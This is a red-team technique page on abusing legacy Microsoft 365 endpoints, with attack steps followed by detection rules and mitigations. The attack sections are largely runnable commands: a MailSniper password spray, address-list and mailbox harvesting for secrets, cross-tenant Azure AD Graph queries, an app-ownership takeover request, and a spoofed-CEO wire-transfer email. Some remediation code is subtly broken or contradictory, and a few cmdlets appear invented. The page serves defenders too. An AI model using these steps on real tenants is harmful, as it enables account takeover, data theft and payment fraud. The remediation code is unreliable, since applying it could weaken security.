MCADDF

[IA-EXPLOIT-006]: Legacy API Endpoint Abuse

Metadata

Attribute Details
Technique ID IA-EXPLOIT-006
MITRE ATT&CK v18.1 T1190 - Exploit Public-Facing Application
Tactic Initial Access
Platforms M365 (Exchange Online), Entra ID, Office 365
Severity Critical
CVE CVE-2025-55241 (Azure AD Graph cross-tenant), N/A (design flaws)
Technique Status ACTIVE (Many legacy endpoints still functional despite deprecation)
Last Verified 2025-12-30
Affected Versions All M365 tenants with legacy protocols enabled (default)
Patched In Disabled by policy (not automatic); Azure AD Graph fully deprecated Sept 2025
Author SERVTEPArtur Pchelnikau

Note: Sections 6 (Atomic Red Team) and 11 (Sysmon Detection) not included because: (1) No specific Atomic test for M365 legacy API abuse, (2) Cloud-native endpoint without local system instrumentation. All section numbers have been dynamically renumbered based on applicability.


2. EXECUTIVE SUMMARY

Concept: Microsoft 365 organizations continue to expose multiple legacy API endpoints that were designed before modern security standards (MFA, Conditional Access, API logging) became standard. These include Exchange Web Services (EWS), Azure AD Graph, Office 365 Management API, and Direct Send SMTP. Despite deprecation announcements spanning years, these endpoints remain active and largely unauthenticated—allowing attackers to bypass MFA, extract sensitive data without detection, and impersonate legitimate services. The recent CVE-2025-55241 discovery revealed that the Azure AD Graph API lacks proper tenant validation, enabling attackers to compromise ANY Entra ID tenant in the world using service-to-service tokens.[146][147][148]

Attack Surface: EWS endpoints (mail.domain.com/ews), Azure AD Graph (graph.windows.net), Office 365 Management API, Direct Send SMTP relay, NTLM Autodiscover, legacy MAPI/POP/IMAP ports, undocumented API endpoints.

Business Impact: Complete email compromise without detection (EWS bypasses MFA), tenant-wide compromise via cross-tenant Azure AD Graph exploitation, credential harvesting at scale via password spraying, phishing relay campaigns, business email compromise. Midnight Blizzard leveraged EWS to target Microsoft’s own corporate email system.[146]

Technical Context: Legacy API exploitation is often invisible to security monitoring—EWS access generates no audit logs, Azure AD Graph access was completely unauthenticated, Direct Send appears as legitimate email traffic. Attackers use MailSniper, a widely available PowerShell tool, to spray passwords against EWS (9,000+ users in 9 minutes) or extract Global Address Lists (4,000+ emails in 10 seconds). These attacks remain undetectable without deep API content inspection or legacy authentication protocol monitoring.[147][166]

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Microsoft 365 1.1.1 Block legacy authentication in Conditional Access
CIS Microsoft 365 1.4.1 Disable legacy authentication protocols (SMTP AUTH, POP, IMAP)
NIST 800-53 AC-3 Access Enforcement (legacy auth bypasses controls)
NIST 800-53 AC-6 Least Privilege (legacy protocols = unrestricted access)
GDPR Art. 32 Security of Processing (inadequate auth mechanisms)
PCI DSS 2.2 Change defaults; disable unnecessary services
ISO 27001 A.9.2.3 Management of Privileged Access Rights
ISO 27001 A.14.2.1 System hardening and endpoint configuration

3. TECHNICAL PREREQUISITES

Supported Versions:

Tools:


4. ENVIRONMENTAL RECONNAISSANCE

Legacy Protocol Discovery

# Test EWS endpoint accessibility
curl -sk https://mail.domain.com/EWS/Exchange.asmx

# Expected vulnerable response (200 OK):
# <?xml version="1.0"?>
# <soap:Envelope xmlns:soap="...">
#   <soap:Body>
#     <m:GetServerTime RequestServerVersion="Exchange2013">
#     ...

# Test if EWS accepts basic authentication (no OAuth)
curl -sk -u username:password https://mail.domain.com/EWS/Exchange.asmx

# Test Azure AD Graph access (deprecated but still active)
curl -X GET \
  -H "Authorization: Bearer <TOKEN>" \
  https://graph.windows.net/myorganization/users?api-version=1.6

# Test Office 365 Management API
curl -X GET \
  -H "Authorization: Bearer <TOKEN>" \
  https://manage.office.com/api/v1.0/subscriptions

# Test Direct Send SMTP
telnet smtp.office365.com 25
# Send email without authentication (if enabled)

MFA Bypass Detection

# Download and run MFASweep to detect MFA gaps
git clone https://github.com/dafthack/MFASweep
cd MFASweep
powershell -ep bypass
Import-Module .\MFASweep.ps1
Invoke-MFASweep -Username user@domain.com -Password password123

# MFASweep will test:
# - Outlook Web Access (OWA) - MFA protected?
# - Exchange Web Services (EWS) - MFA protected?
# - Office 365 Management API - MFA protected?
# - Teams - MFA protected?
# - SharePoint - MFA protected?

Expected Output (Vulnerable):

OWA: MFA ENABLED (2FA required)
EWS: MFA NOT ENFORCED (Basic auth accepted)
Teams: MFA ENABLED
>> EWS is a MFA bypass vector!

Audit Legacy Authentication Usage

# Connect to Exchange Online
Connect-ExchangeOnline

# Check current legacy authentication settings
Get-OrganizationConfig | Select-Object -Property OAuth2ClientProfileEnabled

# List users currently using legacy protocols (requires Entra P1/P2)
Get-AzureADUser -All $true | Where-Object {$_.DeviceOsType -eq "Android" -or $_.DeviceOsType -eq "iOS"} | Get-MobileDeviceStatistics | Where-Object {$_.UserAgent -match "IMAP|POP|SMTP"}

# Alternative: Check Sign-in Logs
# Azure Portal → Entra ID → Sign-in logs → Filter by ClientAppUsed = "POP", "IMAP", "SMTP", "MAPI", "EWS"

5. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: EWS Exploitation via MailSniper (Password Spray)

Supported Versions: All Exchange Online versions

Step 1: Discover EWS Endpoint

Objective: Locate externally accessible EWS endpoint

Command (Subdomain Enumeration):

# Subdomain enumeration to find EWS endpoint
curl -s "https://mail.domain.com/EWS/Exchange.asmx" -I

# Common EWS locations:
# https://mail.domain.com/EWS/Exchange.asmx
# https://domain.com/ews/Exchange.asmx
# https://outlook.domain.com/ews/Exchange.asmx
# https://exchange.domain.com/ews/Exchange.asmx

# If found (200 OK), EWS is accessible

Command (Via Shodan/Search Engines):

# Search for exposed EWS endpoints
shodan search "ews/exchange.asmx"
site:domain.com EWS

# OR brute-force common subdomains
for subdomain in mail exchange outlook owa; do
  curl -s "https://${subdomain}.domain.com/EWS/Exchange.asmx" -o /dev/null && echo "Found: ${subdomain}.domain.com"
done

Step 2: Password Spray via MailSniper

Objective: Discover valid credentials using password spraying (avoids lockout)

Command (MailSniper Setup):

# Download MailSniper
git clone https://github.com/dafthack/MailSniper
cd MailSniper
powershell -ep bypass
Import-Module .\MailSniper.ps1

# Password spray against EWS endpoint
$passwords = @("Fall2024", "Winter2024", "Password123!", "Company2024")
$userlist = Get-Content users.txt  # Pre-compiled list of valid usernames

# Invoke password spray (multi-threaded)
Invoke-PasswordSprayEWS -ExchHostname mail.domain.com `
  -UserList $userlist `
  -Passwords $passwords `
  -Threads 15 `
  -OutFile valid_creds.txt

# Expected output:
# [+] Valid credentials found!
# user1@domain.com:Fall2024
# user2@domain.com:Winter2024
# user15@domain.com:Password123!

Expected Behavior:

OpSec & Evasion:

Troubleshooting:

Step 3: Extract Global Address List (GAL)

Objective: Obtain all organization email addresses for further targeting

Command (MailSniper - FindPeople Function):

# Extract GAL from OWA using valid credentials
Get-GlobalAddressList -ExchHostname mail.domain.com `
  -UserName user1@domain.com `
  -Password Fall2024 `
  -OutFile gal.txt

# Output contains 4,000+ email addresses in seconds
# Format: user@domain.com, user@domain.com, ...

# Use extracted GAL for:
# - Further password spraying
# - Phishing target selection
# - Executive/admin identification
# - Social engineering

Expected Output:

[*] Using EWS URL https://mail.domain.com/EWS/Exchange.asmx
[+] Using Exchange version Exchange2013
[+] Successfully connected to Exchange
[*] Extracting Global Address List
[+] Found 4,282 email addresses
[+] Saving GAL to gal.txt

What This Means:

Step 4: Search for Sensitive Data in Mailboxes

Objective: Extract emails containing credentials, secrets, or sensitive keywords

Command (MailSniper - Inbox Search):

# Search target mailbox for sensitive keywords
Invoke-SelfSearch -Mailbox user1@domain.com `
  -ExchHostname mail.domain.com `
  -Terms @("password", "creds", "credentials", "secret", "api_key", "admin") `
  -OutputPath exfiltrated_emails.csv

# When prompted for credentials, enter the compromised user's password
# PowerShell will open interactive session and search mailbox

# Alternative: Global search (if attacker has higher privileges)
Invoke-GlobalMailSearch -ExchHostname mail.domain.com `
  -Terms @("password", "admin", "credentials", "vpc", "config") `
  -ExchangeVersion Exchange2013 `
  -OutputPath all_org_emails.csv

Expected Output:

[*] Searching mailbox: user1@domain.com
[*] Found 47 emails containing search terms
[*] Email 1: From: admin@domain.com
    Subject: [URGENT] Password Reset - use: Admin@2024!
[*] Email 2: From: devops@domain.com
    Subject: AWS_KEY_ID=AKIA123456789ABC
[*] Email 3: From: database@domain.com
    Subject: DB Credentials - Prod: user=admin, password=SecureDB#999
[+] Saving all emails to all_org_emails.csv

What This Means:


METHOD 2: Azure AD Graph Cross-Tenant Exploitation (CVE-2025-55241)

Supported Versions: All Entra ID tenants (vulnerable until manual remediation)

Step 1: Obtain Service-to-Service (S2S) Actor Token

Objective: Extract or forge S2S token that bypasses tenant validation

Vulnerability Context: Azure AD Graph API does not validate token originating tenant[148]

Command (Token Extraction):

# If attacker has compromised a service principal or has access to a legitimate application:
# The actor token (undocumented S2S token) can be extracted from:
# 1. Intercepted API requests
# 2. Application configuration files
# 3. Compromised code repositories (GitHub secrets)

# Example: Token in leaked appsettings.json
cat appsettings.json | grep -i "token\|secret\|key"

# Look for patterns like:
# "ActorToken": "eyJ0eXAiOiJKV1QiLCJhbGc..."
# "ServicePrincipalCredential": "..."

Command (Token Validation):

# Decode JWT token to verify contents
echo "eyJ0eXAiOiJKV1QiLCJhbGc..." | base64 -d | jq .

# Expected payload:
# {
#   "aud": "https://graph.windows.net",
#   "iss": "https://sts.windows.net/[TENANT_ID]",
#   "actor": "system:service-principal",
#   "iat": 1735689600,
#   "exp": 1735693200
# }

Step 2: Query Arbitrary Tenant via Azure AD Graph

Objective: Access another organization’s Entra ID data using compromised token

Command (Cross-Tenant Access):

# Using the compromised S2S token, query a target tenant
# Note: No tenant ID required in URL; token grants access to any tenant

curl -X GET \
  -H "Authorization: Bearer <ACTOR_TOKEN>" \
  https://graph.windows.net/[TARGET_TENANT]/users?api-version=1.6

# Response contains ALL users in target tenant:
# {
#   "value": [
#     {
#       "objectId": "12345678-1234-1234-1234-123456789012",
#       "userPrincipalName": "admin@targetcompany.com",
#       "displayName": "Target Admin",
#       "mail": "admin@targetcompany.com"
#     },
#     ...
#   ]
# }

# Query groups and role assignments
curl -X GET \
  -H "Authorization: Bearer <ACTOR_TOKEN>" \
  https://graph.windows.net/[TARGET_TENANT]/groups?api-version=1.6

curl -X GET \
  -H "Authorization: Bearer <ACTOR_TOKEN>" \
  https://graph.windows.net/[TARGET_TENANT]/me/memberOf?api-version=1.6

# Extract all cloud apps and service principals
curl -X GET \
  -H "Authorization: Bearer <ACTOR_TOKEN>" \
  https://graph.windows.net/[TARGET_TENANT]/servicePrincipals?api-version=1.6

Expected Output:

{
  "value": [
    {
      "appId": "12345678-1234-1234-1234-123456789012",
      "displayName": "Target Org Cloud App",
      "appOwnerTenantId": "[TARGET_TENANT]",
      "servicePrincipalType": "Application",
      "appRoleAssignmentRequired": false
    }
  ]
}

What This Means:

Step 3: Escalate to Global Admin (Potential)

Objective: Grant attacker ownership of high-privilege applications

Command (Application Ownership Modification):

# Query for cloud applications with administrative roles
curl -X GET \
  -H "Authorization: Bearer <ACTOR_TOKEN>" \
  https://graph.windows.net/[TARGET_TENANT]/appRoleAssignments?api-version=1.6 \
  | grep -E "Directory.ReadWrite.All|User.ReadWrite.All|Application.ReadWrite.All"

# If attacker has sufficient permissions, modify app ownership:
curl -X PATCH \
  -H "Authorization: Bearer <ACTOR_TOKEN>" \
  -H "Content-Type: application/json" \
  https://graph.windows.net/[TARGET_TENANT]/servicePrincipals/[APP_ID]?api-version=1.6 \
  -d '{
    "appOwnerTenantId": "[ATTACKER_TENANT]",
    "owners": ["[ATTACKER_SERVICE_PRINCIPAL]"]
  }'

# Attacker now owns cloud app; can:
# - Modify application permissions
# - Issue credentials for impersonation
# - Access all resources the app can access

Impact:


METHOD 3: Direct Send SMTP Abuse (Email Spoofing)

Supported Versions: All Exchange Online tenants with Direct Send enabled

Step 1: Send Spoofed Email via Direct Send

Objective: Send email appearing to originate from legitimate internal sender

Command (PowerShell):

# Configure SMTP connection (no authentication)
$smtpServer = "smtp.office365.com"
$smtpPort = 25  # Or 587

# Create email message
$from = "ceo@targetcompany.com"  # Spoofed sender (internal domain)
$to = "victim@external.com"
$subject = "[URGENT] Wire Transfer Approval Required"
$body = @"
Please approve immediate wire transfer of $500,000 to:
Account: [ATTACKER_BANK_ACCOUNT]
Reference: Project-XYZ-Confidential

This is time-sensitive. Confirm receipt.
- CEO
"@

# Send via Direct Send SMTP
$smtp = New-Object Net.Mail.SmtpClient($smtpServer, $smtpPort)
$smtp.EnableSSL = $true
$msg = New-Object System.Net.Mail.MailMessage($from, $to, $subject, $body)
$smtp.Send($msg)

Write-Host "[+] Spoofed email sent from $from to $to"

Command (curl Alternative):

# Send via SMTP protocol directly
curl --url "smtp://smtp.office365.com:25" \
  --mail-from "ceo@targetcompany.com" \
  --mail-rcpt "victim@external.com" \
  --upload-file email.txt

Expected Behavior:

Impact:


6. SPLUNK DETECTION RULES

Rule 1: EWS Password Spray Activity

Rule Configuration:

SPL Query:

sourcetype="o365:exchange:audit" 
  Operation IN ("ExternalIdentityProviderSignInSuccess", "UserLoggedIn")
  ClientIP!=* 
  UserAgent="MailSniper*" OR UserAgent="Ruler*" OR ClientIP IN (residential_proxy_ranges)
| stats count as AuthAttempts by ClientIP, UserAgent, AffectedUser
| where AuthAttempts > 10
| search AuthAttempts > 10

What This Detects:

Rule 2: Azure AD Graph API Access (Legacy)

Rule Configuration:

SPL Query:

sourcetype="azure:graphapi:audit"
  endpoint="graph.windows.net" 
  OR url contains "graph.windows.net"
| stats count by CallerIpAddress, endpoint, OperationName
| where count > 0

What This Detects:


7. MICROSOFT SENTINEL DETECTION

Query 1: EWS Authentication Failures and Spray Pattern

Rule Configuration:

KQL Query:

SigninLogs
| where ClientAppUsed in ("Exchange Web Services", "SMTP", "POP", "IMAP")
  and ResultType contains "Failure" or ResultType contains "MFADenied"
| extend SourceIP = IPAddress
| summarize FailureCount = count() by SourceIP, ClientAppUsed, UserPrincipalName
| where FailureCount > 10
| project SourceIP, ClientAppUsed, UserPrincipalName, FailureCount

What This Detects:

Manual Configuration (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select workspace → Analytics+ CreateScheduled query rule
  3. General Tab:
    • Name: Legacy API (EWS/SMTP) Authentication Failures - Potential Password Spray
    • Severity: High
  4. Set rule logic Tab:
    • Paste KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 1 hour
  5. Incident settings: Enable Create incidents
  6. Click Review + create

Query 2: Azure AD Graph API Access (Deprecated Endpoint)

Rule Configuration:

KQL Query:

AuditLogs
| where OperationName contains "Azure AD Graph" 
  or TargetResources contains "graph.windows.net"
| extend TenantIdFromEndpoint = extract(@"graph.windows.net/([a-z0-9-]+)", 1, tostring(TargetResources))
| where TenantIdFromEndpoint != InitiatedByAppName
| summarize AccessCount = count() by InitiatedByAppName, TenantIdFromEndpoint, OperationName
| where AccessCount > 0 or TenantIdFromEndpoint != ""

What This Detects:


8. MICROSOFT DEFENDER FOR CLOUD

Detection Alerts

Alert Name: “Legacy Authentication Protocol Detected (EWS/SMTP/POP/IMAP)”

Alert Name: “Suspicious Azure AD Graph API Access Detected”

Manual Configuration (Enable Defender for Cloud):

  1. Navigate to Azure PortalMicrosoft Defender for Cloud
  2. Go to Environment settings → Select subscription
  3. Under Defender plans, enable:
    • Defender for Cloud Apps: ON
    • Defender for Identity: ON
  4. Click Save
  5. Navigate to Alerts to view triggered detections

Reference: Microsoft Defender for Cloud - Cloud Apps Security


9. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

1. Immediate Containment

Command (Disable Compromised Account):

# Disable user account immediately
Disable-AzureADUser -ObjectId user1@domain.com

# Revoke all sessions
Connect-ExchangeOnline
Remove-PSSession $ExchangeSession

# Reset password (force sign-out)
Set-AzureADUserPassword -ObjectId user1@domain.com -Password (ConvertTo-SecureString -AsPlainText "NewPassword123!" -Force) -EnforceChangePasswordPolicy $true

Command (Block Legacy Authentication):

# Immediately block the legacy protocol on the account
Set-CASMailbox -Identity user1@domain.com -PopEnabled $false -ImapEnabled $false -MAPIEnabled $false -ActiveSyncEnabled $false -SmtpClientAuthenticationDisabled $true

2. Collect Evidence

Command (Export EWS Activity):

# Export mailbox audit logs to identify what was accessed
Search-MailboxAuditLog -Identity user1@domain.com -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) -Operations Copy, Move, MoveToDeletedItems, SoftDelete, HardDelete | Export-CSV -Path ews_audit.csv

# Export sign-in logs showing legacy auth usage
Get-AzureADUser -ObjectId user1@domain.com | Get-MobileDeviceStatistics | Export-Csv device_logs.csv

3. Investigation

Command (Identify Exfiltrated Data):

# Check mailbox forwarding rules (persistence mechanism)
Get-InboxRule -Mailbox user1@domain.com | Where-Object {$_.ForwardTo -ne $null}

# Check for deleted emails (may indicate cover-up)
Search-MailboxAuditLog -Identity user1@domain.com -Operations HardDelete, SoftDelete | Select-Object UserLastName, Operation, MailboxOwnerUPN, ItemSubject

4. Remediate

Command (Full Account Remediation):

# 1. Revoke all refresh tokens (sign out all sessions)
Revoke-AzureADUserAllRefreshToken -ObjectId user1@domain.com

# 2. Remove suspicious OAuth consents
Get-AzureADUser -ObjectId user1@domain.com | Get-AzureADUserOAuth2PermissionGrant | Remove-AzureADOAuth2PermissionGrant

# 3. Re-enable with modern auth only
Set-CASMailbox -Identity user1@domain.com -PopEnabled $false -ImapEnabled $false -MAPIEnabled $false -SmtpClientAuthenticationDisabled $true -OWAEnabled $true

# 4. Force password reset on next login
Set-AzureADUser -ObjectId user1@domain.com -PasswordPolicies "DisablePasswordExpiration, DisableStrongPassword"

10. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

1. Disable All Legacy Authentication Protocols

Manual Steps (Microsoft 365 Admin Center):

  1. Go to Microsoft 365 Admin Center
  2. Navigate to SettingsOrg settingsModern Authentication
  3. Uncheck the following (disable all legacy protocols):
    • IMAP4
    • POP3
    • SMTP AUTH
    • MAPI
    • Exchange Web Services (EWS)
    • Exchange ActiveSync (EAS)
  4. Click Save

Manual Steps (PowerShell - Tenant-Wide):

# Connect to Exchange Online
Connect-ExchangeOnline

# Disable legacy auth globally
Set-OrganizationConfig -OAuth2ClientProfileEnabled $true

# Disable specific protocols
Set-OrganizationConfig -ImapEnabled $false
Set-OrganizationConfig -PopEnabled $false
Set-OrganizationConfig -SmtpClientAuthenticationDisabled $true
Set-OrganizationConfig -ActiveSyncEnabled $false
Set-OrganizationConfig -OwaClientAuthenticationMethod Modern

# Verify settings
Get-OrganizationConfig | Select-Object -Property OAuth2ClientProfileEnabled, ImapEnabled, PopEnabled, SmtpClientAuthenticationDisabled

Manual Steps (Conditional Access - Block Legacy Auth):

  1. Go to Entra Admin Center (entra.microsoft.com)
  2. Navigate to SecurityConditional Access+ New policy
  3. Name: Block Legacy Authentication
  4. Assignments:
    • Users or workload identities: All users
    • Cloud apps or actions: All cloud apps
  5. Conditions:
    • Client apps: Other clients (legacy protocols)
  6. Grant: Block access
  7. Enable policy: ON
  8. Click Create

Validation Command:

# Verify legacy protocols are disabled
Get-OrganizationConfig | Select-Object ImapEnabled, PopEnabled, SmtpClientAuthenticationDisabled

# Expected output (all should be False/Disabled):
# ImapEnabled                    : False
# PopEnabled                     : False
# SmtpClientAuthenticationDisabled : True

2. Block Azure AD Graph API (graph.windows.net)

Manual Steps (Entra ID):

  1. Go to Entra Admin CenterApplicationsApp registrations
  2. Search for any app using graph.windows.net
  3. For each found app:
    • Click app → API Permissions
    • Remove any permissions to Azure AD Graph
    • Add equivalent permissions to Microsoft Graph API
  4. Alternatively, set tenant-wide policy:
    Update-MgDirectory -BlockAzureADGraphAccess $true
    

Manual Steps (PowerShell - Block Legacy Graph):

# Block all Azure AD Graph API access tenant-wide
Update-MgServicePrincipal -ServicePrincipalId "00000002-0000-0000-c000-000000000000" -AccountEnabled $false

# Verify:
Get-MgServicePrincipal -ServicePrincipalId "00000002-0000-0000-c000-000000000000" | Select-Object DisplayName, AccountEnabled

3. Disable Direct Send SMTP

Manual Steps (Exchange Online):

# Disable unauthenticated Direct Send
Set-TransportConfig -SmtpClientAuthenticationDisabled $true

# Require authenticated SMTP instead
Set-TransportConfig -SmtpClientAuthenticationDisabled $false

# Create transport rule to block spoofing
New-TransportRule -Name "Block Direct Send Spoofing" `
  -SenderAddressLocation "Header" `
  -FromAddressMatchesRecipientDomain $true `
  -SetAuditSeverity High `
  -RejectMessageReasonText "Direct Send spoofing detected"

Priority 2: HIGH

4. Enable Conditional Access for Legacy Auth Detection

Manual Steps:

  1. Create Conditional Access policy (see Step 1 for details)
  2. Set alert notifications:
    # Get legacy auth sign-ins daily
    Get-SignInLogs -Filter "clientAppUsed in ('POP', 'IMAP', 'SMTP', 'MAPI', 'EWS')" -Top 10
    

5. Monitor Legacy Authentication Usage

Manual Steps (Sign-in Logs):

  1. Go to Entra Admin CenterSign-in logs
  2. Filter by:
    • Client app used: POP, IMAP, SMTP, MAPI, EWS, Other clients
    • Status: Success (to find actual legacy usage)
  3. Review results; identify and disable these accounts
  4. Export logs for SIEM ingestion

Validation Command (Verify Mitigations):

# Test that legacy auth is blocked
$creds = New-Object System.Management.Automation.PSCredential("user@domain.com", (ConvertTo-SecureString "password" -AsPlainText -Force))

# This should FAIL if legacy auth is disabled:
$mailbox = Get-Mailbox -Identity user@domain.com -Credential $creds

# Expected error (if properly hardened):
# "AuthenticationProtocol: Modern authentication required"

# Verify modern auth works:
Connect-ExchangeOnline -UserPrincipalName user@domain.com
# This should succeed with modern interactive auth

Step Phase Technique Description
1 Reconnaissance [T1589 - Gather Victim Identity Info] Enumerate domain, discover EWS endpoint
2 Initial Access [IA-EXPLOIT-006] Legacy API (EWS, Azure AD Graph, Direct Send) Abuse
3 Credential Access [T1110.003 - Brute Force: Password Spray] MailSniper spray against EWS endpoint
4 Collection [T1114.002 - Email Collection] Extract GAL, search for sensitive keywords in emails
5 Lateral Movement [T1550.001 - Use Alternate Authentication] Use stolen credentials for lateral movement
6 Exfiltration [T1537 - Transfer Data to Cloud Account] Exfiltrate emails to attacker account
7 Impact [T1583 - Acquire Infrastructure] Establish BEC campaign using Direct Send

12. REAL-WORLD EXAMPLES

Example 1: Midnight Blizzard - Exchange Web Services Exploitation (2024)

Example 2: CVE-2025-55241 - Azure AD Graph Cross-Tenant Compromise (Sept 2025)

Example 3: Storm-2372 Device Code Phishing + Graph API Abuse (Feb 2025)


APPENDIX: Tools & Resources

Exploitation Tools

Microsoft Documentation

References & Further Reading